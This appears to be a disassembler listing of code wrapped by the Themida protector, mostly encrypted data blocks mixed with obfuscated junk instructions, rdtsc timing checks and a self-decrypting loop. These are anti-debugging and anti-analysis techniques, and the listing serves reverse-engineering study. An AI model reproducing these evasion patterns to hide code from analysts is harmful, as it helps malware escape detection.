		dd 22ED9F0Ch, 295B8BF9h, 531F2796h, 1B49F181h, 4B03AB9Ah
		dd 704F18A7h, 9A1B4432h, 3F871A5Bh, 0A63BB534h,	12B7EBA7h
		dd 0A94Bh, 0D53A5700h, 729DEF88h, 11FE8C25h, 0AB642BC4h
		dd 47C8C55Eh, 43AB0AFAh, 0DF78C54Ah, 7D1663ACh,	16AFFC13h
		dd 704A9778h, 0CD6E1921h, 300D4DF4h, 0C0A5AE5Ah, 0A323F901h
		dd 0B1649F2h, 94F6AFD6h, 1273467Bh, 8F629778h, 6CA3EBFCh
		dd 708861Fh, 515ABAD2h,	93A7EBE5h, 14FB934Eh, 0AF602EC7h
		dd 0B75837F0h, 371CAF82h, 2FEE216Eh, 0DD7119AEh, 6DCEB9E6h
		dd 795EF11Eh, 0A3ABC2D1h, 0AFC6BFE4h, 0AB638C97h, 0A5674B3Bh
		dd 736EBA4Dh, 0ACF91678h, 5F947B13h, 1198h, 5B140200h
		dd 17A8DD32h, 70960C60h, 46D944DBh, 1F72F7E5h, 9CF2BBF0h
		dd 1B753E73h, 95F6BFF4h, 117C457Ah, 8D00C9FEh, 0B844D82h
		dd 8406CF04h, 0FF8D568Bh, 56D4DB10h, 0BB53E689h, 4, 835BDE01h
		dd 348704EEh, 0BD685C24h, 89000078h, 0A668242Ch, 8900003Ch
		dd 52502434h, 522830BAh, 5AD08943h, 47679735h, 58C58945h
		dd 8904EC83h, 4812424h,	424h, 0EC835E00h, 242C8904h, 9243481h
		dd 8F7F3B76h, 76810846h, 3B760908h, 2434FF7Fh, 4C4835Eh
		dd 57242C8Bh, 0C781E789h, 4, 8704C783h,	0E95C243Ch, 0FFFD119Dh
		dd 75489DB2h, 234ECD7h
; ---------------------------------------------------------------------------


loc_5B2A44:				; CODE XREF: Themida_:loc_5B09AAj
		mov	eax, 6156EE9h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0EBh, 0B8h, 0C5h
		dd 904D576Bh, 0A89A441Ch, 0CC90156Bh, 404E1615h, 0AD16AD07h
		dd 0A6AB8B60h, 3AE01A16h, 28C68103h, 6425E1Eh, 587EED5Fh
		dd 337B9B5Ah, 74371D3Fh, 2A562615h, 314FF32h, 0D100D614h
		dd 98B64D29h, 28262655h, 8A846F2Eh, 0C5391F3Ch,	0A6B98F3Ah
		dd 0AE85Eh, 0DD910000h,	0C310915Eh, 14031B01h, 18C18159h
		dd 0F00006Ah, 8Eh, 1A666800h, 0D2810000h, 1D8F6BEEh, 6E85Eh
		dd 12BD0000h, 66674C16h, 8B5BDC8Ah, 0DD75BB01h,	0E881053Ch
		dd 76A6EB76h, 0F081D38Ah, 518F32E9h, 0AE850h, 35B00000h
		dd 0CA5FDCE6h, 0E7CE8469h, 36ECBB66h, 0F0815A5Ah, 3519DE8Ah
		dd 18991B3h, 8D99BA66h,	6004E983h, 141A00BAh, 0DF0CB941h
		dd 836139B8h, 850F01EEh, 0FFFFFFAFh, 8E9D18Ah, 6A000000h
		dd 1404F9h, 0E9000000h,	4E5h, 418E8110h, 0DE2BE4A8h, 7DCA4545h
		dd 1764ABE4h, 0B3000F7Eh, 91FCF2C3h, 0F398317Eh, 5A36CF1Ch
		dd 0BFCF68B5h, 0DA290350h, 0F4CFB5D2h, 13E9C64Dh, 85351C72h
		dd 96E571E6h, 662F64CFh, 29BE827h, 854E838Ch, 8D10609h
		dd 582F3784h, 2B47DF9Ch, 0B780B520h, 730439D6h,	0CF9ACD5Ch
		dd 684E5E1h, 2B967913h,	4E9317F6h, 9A475B89h, 0B6DA3F4Fh
		dd 8A1EE59h, 0A13A8788h, 0A9662AEFh, 4B40093Eh,	0E81F6870h
		dd 515C47DFh, 0FA09B1E6h, 38F4BE79h, 0F34C91AAh, 8E98C11Ch
		dd 47932661h, 5838F19Ah, 7D1324B7h, 751AD392h, 6992659Ah
		dd 55A1E355h, 0CFCC5F57h, 0A16E1FD8h, 28E7A36Ch, 75192ABDh
		dd 414D659Ah, 5947E05Eh, 0E29BF4EDh, 5D3065AAh,	655DCAh
		dd 9AB222BCh, 4000000h,	20315B14h, 415D1E1h, 1045B0DAh
		dd 11767E3Dh, 7247DFE0h, 0CBC3D467h, 0B7D9404Eh, 0E5502358h
		dd 3D72DDB0h, 0DFDF6825h, 19C83447h, 45D4B770h,	0C295CA45h
		dd 7F57C457h, 0AC22BC7Eh, 0Fh, 898604BDh, 49588154h, 3EF0AD26h
		dd 140331C4h, 0F1620593h, 10A34911h, 4D828DFFh,	0D2070884h
		dd 54898609h, 0AC37AABEh, 0BCC4DBE0h, 47E04ECBh, 8AFDADB8h
		dd 3047E04Eh, 0A87BB05Fh, 0EBA40510h, 0B11CEF24h, 4E566D64h
		dd 47E04F39h, 0CA45494Ah, 0C457C295h, 0E734DBB3h, 0F41B7231h
		dd 0E4FCB435h, 685C4CFAh, 6527F0D5h, 129675AAh,	889FB6CFh
		dd 0DF630780h, 0B9697447h, 47DF62CEh, 0A6AC501Ch, 14AC3308h
		dd 28657609h, 8D019AE7h, 0A611FE8Ch, 2DE2A871h,	122968F8h
		dd 0E0387D0Ah, 60F3FE47h, 0BEC6CD14h, 0B22BC25h, 78h, 0F41B725Dh
		dd 71161E35h, 1247DF5Fh, 0C68F7407h, 80164BC4h,	137A756Ch
		dd 0C843DFCh, 248F800Dh, 92FB9491h, 107F487Dh, 0F8A3FE41h
		dd 51BC9EF8h, 8437531Ch, 0DFA50B7Ch, 26D7847h, 328904CDh
		dd 0DFA45D2Ah, 0A8131E47h, 2CE3AA73h, 11C61BCFh, 7D14CDE9h
		dd 22BCB975h, 4EC2h, 1B721400h,	9AF6BFF4h, 0FF434075h
		dd 938607E2h, 14DD12FDh, 91649976h, 0B86EBB26h,	0D7AF9314h
		dd 7CBF7A47h, 0D01E23D8h, 0E679E408h, 2358B7D5h, 0E00E830Bh
		dd 0B8573947h, 39D6BA83h, 71705C04h, 647DE96Ch,	0BC51552Dh
		dd 18222h, 72D40000h, 0F9C2F718h, 9D457A95h, 57B8D58Eh
		dd 70BC4F22h, 0FB147671h, 634851AEh, 739CF227h,	95006B3Eh
		dd 8330CED6h, 37F049F1h, 0B487BC53h, 99CED921h,	451BED0h
		dd 2DEC236Bh, 4A3A1774h, 0BD66AC32h, 0DBAEE34Eh, 424B6348h
		dd 444DF1C4h, 8806E100h, 0A712FD91h, 42CDC15Ah,	0C54A440Dh
		dd 0B42DB190h, 6DBA5539h, 0AE9A1878h, 0E9A76024h, 8B1EF126h
		dd 0FC89h, 0A3199A00h, 0D2B5BD04h, 0B14DF20Ah, 0BE617DA6h
		dd 0AE92C053h, 0F901C0A5h, 49F17729h, 0BD40914h, 0A63F8C83h
		dd 29F227E8h, 32EBAA65h, 3E23B659h, 8DFFB85Fh, 3EA3EF82h
		dd 0C038C45h, 7942454Dh, 36414DF1h, 1DFC92A3h, 73329D72h
		dd 439D6BAh, 0ACA19E31h, 24AEE7D4h, 2701h, 0A4AE5300h
		dd 6FF800BFh, 8CC7DF5Fh, 53344C81h, 6BC7DF5Eh, 0F1FB2AB7h
		dd 2A3D4504h, 5947DF5Eh, 7A6A014Eh, 0D4000000h,	1C0A5AEh
		dd 0F18155F9h, 70A5B049h, 0DB28E7A7h, 8EC34C42h, 0F1881676h
		dd 0ECA50C4Dh, 92DE719Eh, 15FA944Fh, 3050D1C8h,	6A02C64Ah
		dd 414A1FB2h, 6D8D9554h, 585004E0h, 3F4F184Dh, 0E4F39BD0h
		dd 0D4BA5F2Bh, 0C833063Bh, 0E12DC093h, 68708700h, 47E6C01Fh
		dd 92F5FD5Ch, 0F147E6BFh, 13E87BE6h, 0A966250Ah, 83777F3Eh
		dd 7B49FA30h, 0B346C9C2h, 0EF206A6Bh, 2F7CE7BAh, 0C0A5AE79h
		dd 0D001F901h, 3CF549F2h, 0B78ABF50h, 9CD1DC24h, 754BBD3h
		dd 0D6395710h, 0B35C3243h, 52E7667Eh, 72863BE4h, 0F51A746Fh
		dd 907F0FA8h, 12FD925Bh, 6D2635DDh, 18CED22h, 0B22F7B0Eh
		dd 6BB85737h, 1E53BCD2h, 1257h,	0F322C100h, 8ABF503Ah
		dd 602C5B63h, 444F47DFh, 721846D9h, 0F2BBF01Fh,	753E739Ch
		dd 0F6BFF41Bh, 7C457A95h, 0C9FE11h, 844D828Dh, 6CF040Bh
		dd 8D568B84h, 0D4DB10FFh, 8904EC83h, 6F68241Ch,	89000029h
		dd 0C4682434h, 89000048h, 0BB53243Ch, 0F896CDCh, 3871CB81h
		dd 0F3812F43h, 68CF43A1h, 114F3EBEh, 5BDE3141h,	4EC81h
		dd 24890000h, 24048124h, 4, 8B9515Fh, 1000000h,	18F56F9h
		dd 243C8B59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		db 0D9h
		dd 0EF7C0383h, 4F3C7CC2h, 258C6340h, 74CAB864h,	0C5030615h
		dd 0A4FCE0FFh, 0C5681E9Ch, 374627C0h, 0E4AF3222h, 0F1175636h
		dd 6E705F41h, 58C3CBFh,	0FDA02C4Eh, 51C3E24h, 0B2BF1755h
		dd 82947D17h, 0C7B2575Ah, 0A6A96E41h, 21B553F4h, 5F67521Ah
		dd 77793D5Eh, 42466D3Ah, 256E2E99h, 2DEE3F9Ah, 77347118h
		dd 21740E6Ch, 786D067Ch, 0CE827EAh, 91000000h, 839D4F4Fh
		dd 0C9C1E27h, 0F8A1062h, 815BCBBFh, 6897C3h, 97E58000h
		dd 8166C033h, 0FFB5CADAh, 0CA8B1834h, 0A9E2805Fh, 0BAA7C781h
		dd 81662D60h, 81F278EAh, 71408EF7h, 4B0AB949h, 0F7815B36h
		dd 644B6B48h, 223FBE60h, 32BF4A53h, 6104E1F4h, 13E957h
		dd 54880000h, 751A97E2h, 0B3FD4921h, 0D38C47Ah,	8B40E72Fh
		dd 3048F2Fh, 0BDC88160h, 0E83EAED8h, 10h, 8130D387h, 64116C94h
		dd 31B7BB23h, 219A8212h, 9E9h, 0FD4CF400h, 0E1F16AD8h
		dd 615A9BA0h, 5E9h, 39B03900h, 0E88339B0h, 0F2B70F01h
		dd 66484848h, 818BBFBAh, 0FF9824F8h, 64850FFFh,	0FFFFFFFh
		dd 34EBD0BFh, 4D534649h, 20205247h, 20444B56h, 20202020h
		dd 204D4D56h, 20202020h, 4E495756h, 20203233h, 4C445856h
		dd 20205244h, 3	dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5B386F
; ---------------------------------------------------------------------------
		db 0Fh,	80h, 1
		dd 0F9000000h, 8A0F6060h, 12h, 0DE9h, 80B51800h, 0AD331430h
		dd 1B4309C6h, 81661DD5h, 61C7ABE6h, 769685C7h, 615h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 696D17C3h, 898A305h,	0FC68BF9h, 78Fh, 1820F00h, 0FC000000h
		dd 0D8B70FF9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	3C35343h, 60261FD0h, 2810Fh, 61600000h,	61D8B70Fh
		dd 6A10E8C1h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 5119C357h, 5C736670h, 66DC81A8h
		dd 6008C8C1h, 0C890Fh, 6E80000h, 0C5000000h, 5B692BB5h
		dd 61F95830h, 8F0F5660h, 0
; ---------------------------------------------------------------------------
		pop	eax
		popa
		mov	[ebp+615769Ah],	eax
		pusha
		mov	dx, bx
		mov	cl, ah
		popa
		ror	bx, 8
		jo	loc_5B3276
		cld


loc_5B3276:				; CODE XREF: Themida_:005B326Fj
		cmp	ebx, 40h
		jnz	loc_5B32DE
		push	0
		push	eax
		call	sub_5B328A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B328A	proc near		; CODE XREF: Themida_:005B3282p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5B328A	endp

; ---------------------------------------------------------------------------
		sbb	esi, [edx-11h]
		cwde
		mov	ah, 99h
		or	esp, edi
		lea	edi, [ebp+615766Eh]
		push	0
		push	ebx
		call	sub_5B32B3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B32B3	proc near		; CODE XREF: Themida_:005B32ABp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5B32B3	endp

; ---------------------------------------------------------------------------
		db 0D4h
		dd 73E53BD8h, 1B3E9h, 0CE900h, 0EDF50000h, 7FACE900h, 57B6CD4Fh
		db 69h,	0CFh
; ---------------------------------------------------------------------------


loc_5B32DE:				; CODE XREF: Themida_:005B3279j
		cmp	ebx, 0Dh
		jnz	loc_5B3380
		push	0
		push	ebx
		call	sub_5B32F2
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B32F2	proc near		; CODE XREF: Themida_:005B32EAp
					; Themida_:005B3302j

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5B32F2	endp

; ---------------------------------------------------------------------------
		ja	short sub_5B32F2
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	bx, 252Dh
		push	esi
		movzx	eax, bx
		pop	edi
		popa
		lea	edi, [ebp+6157676h]
		push	0
		push	eax
		call	sub_5B3321
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B3321	proc near		; CODE XREF: Themida_:005B3319p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5B3321	endp

; ---------------------------------------------------------------------------
		inc	edi
		sub	edi, esp
		pusha
		movsx	edi, bx
		mov	di, 0CCA0h
		popa
		jmp	loc_5B3480
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5B334D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B334D	proc near		; CODE XREF: Themida_:005B3345p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5B334D	endp

; ---------------------------------------------------------------------------
		db 6Ah,	16h, 14h
		dd 0F632D109h, 0E9769015h, 14h,	7265EB54h, 0BFC079C9h
		dd 0F82FD828h, 0D7B3481Bh, 0F704FA8Ah
; ---------------------------------------------------------------------------


loc_5B3380:				; CODE XREF: Themida_:005B32E1j
		cmp	ebx, 1
		jnz	loc_5B33E5
		js	loc_5B3397


loc_5B338F:				; CODE XREF: Themida_:005B33A8j
		pusha
		movzx	ecx, bx
		mov	di, dx
		popa


loc_5B3397:				; CODE XREF: Themida_:005B3389j
		lea	edi, [ebp+615767Eh]
		jo	loc_5B33B1
		jmp	loc_5B33B1
; ---------------------------------------------------------------------------
		jmp	short loc_5B338F
; ---------------------------------------------------------------------------
		dw 0A23h
		dd 0EF3E478Fh
		db 0D4h
; ---------------------------------------------------------------------------


loc_5B33B1:				; CODE XREF: Themida_:005B339Dj
					; Themida_:005B33A3j
		jmp	loc_5B3480
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5B33C1
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B33C1	proc near		; CODE XREF: Themida_:005B33B9p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5B33C1	endp

; ---------------------------------------------------------------------------
		db 0E6h, 3Ch, 19h
		dd 0B64ED257h, 0E8B660D2h, 0E0816652h, 615FB581h
; ---------------------------------------------------------------------------
		stc


loc_5B33E5:				; CODE XREF: Themida_:005B3383j
		cmp	ebx, 2Ah
		jnz	loc_5B344F
		push	0
		push	edx
		call	sub_5B33F9
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B33F9	proc near		; CODE XREF: Themida_:005B33F1p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5B33F9	endp

; ---------------------------------------------------------------------------
		and	[edx+46023C01h], ch
		popa
		lea	edi, [ebp+6157686h]
		jmp	loc_5B3427
; ---------------------------------------------------------------------------
		db 0F0h
		dd 0DE27C38Eh, 0A433FDC9h
; ---------------------------------------------------------------------------
		or	al, 0EAh
		lodsb


loc_5B3427:				; CODE XREF: Themida_:005B3416j
		jmp	loc_5B3480
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5B3437
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B3437	proc near		; CODE XREF: Themida_:005B342Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5B3437	endp

; ---------------------------------------------------------------------------
		db 1Ch
		dd 43140062h
		db 34h,	0CBh, 0C8h
; ---------------------------------------------------------------------------


loc_5B344F:				; CODE XREF: Themida_:005B33E8j
		cmp	ebx, 27h
		jnz	loc_5B3709
		clc
		lea	edi, [ebp+615768Eh]
		push	0
		push	ebp
		call	sub_5B346A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B346A	proc near		; CODE XREF: Themida_:005B3462p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5B346A	endp

; ---------------------------------------------------------------------------
		dw 0C7FBh
; ---------------------------------------------------------------------------
		mov	bh, dl
		or	ebp, esi


loc_5B3480:				; CODE XREF: Themida_:005B333Dj
					; Themida_:loc_5B33B1j	...
		mov	[ebp+615769Eh],	edi
		pusha
		or	di, 2629h
		mov	edx, esi
		popa
		mov	ax, cs
		push	0
		push	esi
		call	sub_5B349D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B349D	proc near		; CODE XREF: Themida_:005B3495p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5B349D	endp

; ---------------------------------------------------------------------------
		cmp	ah, bh
		and	eax, 324F82Dh
		jmp	loc_5B34C2
; ---------------------------------------------------------------------------
		db 0F4h, 0CCh, 0Fh
		dd 18A160B8h
; ---------------------------------------------------------------------------
		mov	ah, 19h


loc_5B34C2:				; CODE XREF: Themida_:005B34B4j
		or	al, al
		jnz	loc_5B363E
		pusha
		sub	ch, 66h
		mov	al, 0A5h
		popa
		js	loc_5B34EB
		pusha
		ja	$+6
		call	near ptr loc_5B34E5+4
		pop	edx
		push	esi


loc_5B34E5:				; CODE XREF: Themida_:005B34DEp
		mov	ds:592EF7E3h, eax
		popa


loc_5B34EB:				; CODE XREF: Themida_:005B34D1j
		lea	esi, [ebp+6157C7Ah]
		pusha
		js	loc_5B3504
		call	sub_5B3503
		mov	ebx, ss
		db	67h
		mov	bh, 3Dh
		xchg	eax, esi

; =============== S U B	R O U T	I N E =======================================



sub_5B3503	proc near		; CODE XREF: Themida_:005B34F8p

arg_1C		= dword	ptr  20h

		pop	esi


loc_5B3504:				; CODE XREF: Themida_:005B34F2j
		movzx	eax, cx
		popa
		mov	eax, [ebp+6157CFCh]
		jmp	loc_5B351B
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0C0451C26h
		db 0Bh,	0DEh, 85h
; ---------------------------------------------------------------------------


loc_5B351B:				; CODE XREF: sub_5B3503+Bj
		push	eax
		push	eax
		push	edx
		push	eax
		push	edx
		jmp	loc_5B3531
; ---------------------------------------------------------------------------
		db 6Dh,	39h, 4Bh
		dd 72887CCEh, 0D36A626Eh
		db 25h
; ---------------------------------------------------------------------------


loc_5B3531:				; CODE XREF: sub_5B3503+1Dj
		rdtsc
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		pop	edx
		pop	eax
		rdtsc
		ja	loc_5B3549
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax


loc_5B3549:				; CODE XREF: sub_5B3503+3Aj
		pop	edx
		pop	eax
		mov	[esp-20h+arg_1C], edx
		push	0
		push	edx
		call	sub_5B3559
		and	[edx-3Dh], bl
sub_5B3503	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B3559	proc near		; CODE XREF: sub_5B3503+4Ep

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5B3559	endp

; ---------------------------------------------------------------------------
		db 51h,	0E5h, 21h
; ---------------------------------------------------------------------------
		cdq
		jl	short loc_5B357E
		add	[esp-2], ecx
		jo	loc_5B357A
		clc


loc_5B357A:				; CODE XREF: Themida_:005B3573j
		pop	edx
		push	0
		push	ecx


loc_5B357E:				; CODE XREF: Themida_:005B356Dj
		call	sub_5B3586
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B3586	proc near		; CODE XREF: Themida_:loc_5B357Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5B3586	endp

; ---------------------------------------------------------------------------
		dw 9AD7h
		dd 1913ECE4h, 0FCFCDD7Ch, 6024C283h, 1058BA66h,	74D38166h
		dd 89666143h, 6AFC72h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0FFE3EBC3h, 2624E6CDh, 81666060h
		dd 0F8AEBFDFh, 0CEC16161h, 0F8606010h, 0D08B6661h, 72896661h
		dd 50006A02h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0B7515698h, 662F2F7h, 830FC23Ah,	7, 1830Fh
		dd 0CDF50000h, 8E904h, 48370000h, 1551640Fh, 8B601D91h
		dd 6CD081F8h, 6155FA8Ah, 84E9h
		db 0, 0F5h
; ---------------------------------------------------------------------------


loc_5B363E:				; CODE XREF: Themida_:005B34C4j
		mov	eax, [ebp+6157CFCh]
		jmp	loc_5B365B
; ---------------------------------------------------------------------------
		db 0BBh, 0E9h, 85h
		dd 0EBF7F614h, 0B9D7381Eh, 25150DEEh
		db 53h,	19h, 3Ch
; ---------------------------------------------------------------------------


loc_5B365B:				; CODE XREF: Themida_:005B3644j
		lea	esi, [ebp+6157C7Ah]
		push	0
		push	edx
		call	sub_5B366C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B366C	proc near		; CODE XREF: Themida_:005B3664p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5B366C	endp

; ---------------------------------------------------------------------------
		sub	eax, 0A5FB6A5Ah
		sub	esp, [eax-4Eh]
		push	ebp
		popa
		lea	eax, [ebp+6154CD8h]
		jle	loc_5B369E
		jmp	loc_5B369E
; ---------------------------------------------------------------------------
		db 24h
		dd 0D4B3D712h
		db 79h,	0A5h
; ---------------------------------------------------------------------------


loc_5B369E:				; CODE XREF: Themida_:005B368Cj
					; Themida_:005B3692j
		jl	loc_5B36AB
		pusha
		sbb	bh, 45h
		push	esi
		pop	eax
		popa


loc_5B36AB:				; CODE XREF: Themida_:loc_5B369Ej
		call	eax
		jle	loc_5B36C1
		jmp	loc_5B36C1
; ---------------------------------------------------------------------------
		dd 0EF539370h, 0A9F0D8D3h
; ---------------------------------------------------------------------------
		pop	ebx


loc_5B36C1:				; CODE XREF: Themida_:005B36ADj
					; Themida_:005B36B3j
		mov	[ebp+6157696h],	eax
		push	0
		push	eax
		call	sub_5B36D2
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B36D2	proc near		; CODE XREF: Themida_:005B36CAp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5B36D2	endp

; ---------------------------------------------------------------------------
		dw 4943h
		dd 3C4A769Fh, 752B111Dh, 0A810Fh, 0F600000h, 86h, 61C78A00h
		dd 78A0Fh, 800F0000h, 1
; ---------------------------------------------------------------------------
		stc


loc_5B3709:				; CODE XREF: Themida_:005B3452j
		popa
		push	0
		push	ecx
		call	sub_5B3715
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B3715	proc near		; CODE XREF: Themida_:005B370Dp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5B3715	endp

; ---------------------------------------------------------------------------
		db 0FDh, 1Eh, 1Ah
		dd 880F6CA6h, 7, 1820Fh, 8BF50000h, 15769685h, 10E906h
		dd 4F5D0000h, 0B14D43BBh, 0E50E9879h, 0C459F0A8h, 0F9C3F551h
		dd 0BD83F960h, 6157CFCh, 48850F00h, 0F000000h, 581h, 0C1806000h
		dd 85C76115h, 6157CFCh,	1013Fh,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 5BC35141h, 0B138289Fh, 0EE9h
		dd 68286F00h, 0EE888882h, 74C66E2Eh, 0E9F79287h, 24h, 1E870Fh
		dd 0E8600000h, 13h, 25F2E02Ah, 296AA08Ah, 6EC4E04Ch, 0C77C1BFCh
		dd 5A93C4B3h, 61D8BF0Fh, 20CDh,	0C00B0000h, 708D3774h
		dd 9EBD8B0Ch, 0B9061576h, 8, 492275A6h,	488BFA75h, 9A9D8B30h
		dd 3B061576h, 157F3458h, 0D26BD38Bh, 8BCA0304h,	96858901h
		dd 0EB061576h, 0EB008B04h, 858B61C5h, 6157696h,	50006ACFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 74D38B44h, 0E9F551F2h, 0Fh, 0F7279297h, 4DFC68E2h, 0F3BB9F64h
		dd 604BCA51h, 8B0F53h, 5E000000h, 1810F61h, 0F9000000h
		dd 6E9h, 0E6C3BF00h
; ---------------------------------------------------------------------------
		retn	0F28Dh
; ---------------------------------------------------------------------------


loc_5B386F:				; CODE XREF: Themida_:005B317Cj
		mov	eax, eax
		call	near ptr loc_5B3880+2
		mov	esp, 0A1ADE4A1h
		and	esp, [esi+7Ch]
		pusha


loc_5B3880:				; CODE XREF: Themida_:005B3871p
		add	eax, 0F9BF0F64h
		pop	eax
		xor	ebx, 77C1E6D2h
		add	eax, 606Fh
		sub	edx, edx
		clc
; START	OF FUNCTION CHUNK FOR sub_5B38C3


loc_5B3895:				; CODE XREF: sub_5B38C3:loc_5B393Aj
		mov	ecx, [eax+edx]
		mov	si, 1FEh
		xor	ecx, 0D7C1FDh
		jmp	loc_5B38B1
; END OF FUNCTION CHUNK	FOR sub_5B38C3
; ---------------------------------------------------------------------------
		db 8Ch
		dd 0DB027B37h, 8DE341C0h
		db 69h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B38C3


loc_5B38B1:				; CODE XREF: sub_5B38C3-21j
		add	ecx, 57394B5Bh
		pusha
		call	near ptr sub_5B38C3
		xor	al, [esi-283F5E48h]
; END OF FUNCTION CHUNK	FOR sub_5B38C3

; =============== S U B	R O U T	I N E =======================================



sub_5B38C3	proc far		; CODE XREF: sub_5B38C3-Bp

var_80		= dword	ptr -80h
var_78		= dword	ptr -78h
var_70		= dword	ptr -70h
var_68		= dword	ptr -68h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_44		= dword	ptr -44h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 005B3895 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005B38B1 SIZE 00000012 BYTES

		pop	ecx
		jmp	loc_5B38CF
; ---------------------------------------------------------------------------
		das
		retf
; ---------------------------------------------------------------------------
		db 85h
		db 0EEh, 61h, 0B5h
; ---------------------------------------------------------------------------


loc_5B38CF:				; CODE XREF: sub_5B38C3+1j
		popa
		add	ecx, 13800E64h
		jnz	loc_5B38E5
		ja	loc_5B38E5
		movzx	edi, ax


loc_5B38E5:				; CODE XREF: sub_5B38C3+13j
					; sub_5B38C3+19j
		push	ecx
		jo	loc_5B38F7
		pusha
		ja	$+6
		sub	cl, 0C3h
		popa


loc_5B38F7:				; CODE XREF: sub_5B38C3+23j
		pop	dword ptr [eax+edx]
		mov	di, ax
		jmp	loc_5B390B
; ---------------------------------------------------------------------------
		sbb	dword ptr [ebx-5DAD460Dh], 4Eh
		inc	esi


loc_5B390B:				; CODE XREF: sub_5B38C3+3Aj
		sub	edx, 4
		movsx	ebx, ax
		cmp	edx, 0FFFFA060h
		jnz	loc_5B393A
		sbb	edi, 30386DEh
		jmp	loc_5B3949
; ---------------------------------------------------------------------------
		dd 3330B548h, 5C448089h, 86F72B8Bh, 0C8D1DFEBh
; ---------------------------------------------------------------------------
		test	al, 9Dh


loc_5B393A:				; CODE XREF: sub_5B38C3+54j
